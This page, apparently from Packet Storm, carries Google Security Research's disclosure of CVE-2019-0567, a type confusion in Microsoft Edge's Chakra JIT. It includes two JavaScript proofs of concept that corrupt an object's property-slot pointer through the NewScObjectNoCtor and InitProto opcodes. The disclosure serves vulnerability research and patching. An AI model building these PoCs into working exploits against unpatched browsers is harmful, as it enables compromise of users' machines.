exploit the possibilities

Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion

Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion
Posted Jan 17, 2019
Authored by Google Security Research, lokihardt

Microsoft Edge has an issue where NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

tags | exploit
advisories | CVE-2019-0567
MD5 | 46eb78a54630f51f57be7bcdca2fa397

Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto 

CVE-2019-0567


NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234.

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
o.b = 1;

new cons();

o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
cons.prototype = {};

let o = {a: 1, b: 2};
opt(o, {});
}

let o = {a: 1, b: 2};

cons.prototype = o;

opt(o, 0x1234);

print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
o.b = 1;

let tmp = {__proto__: proto};

o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}

let o = {a: 1, b: 2};

opt(o, o, 0x1234);

print(o.a);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close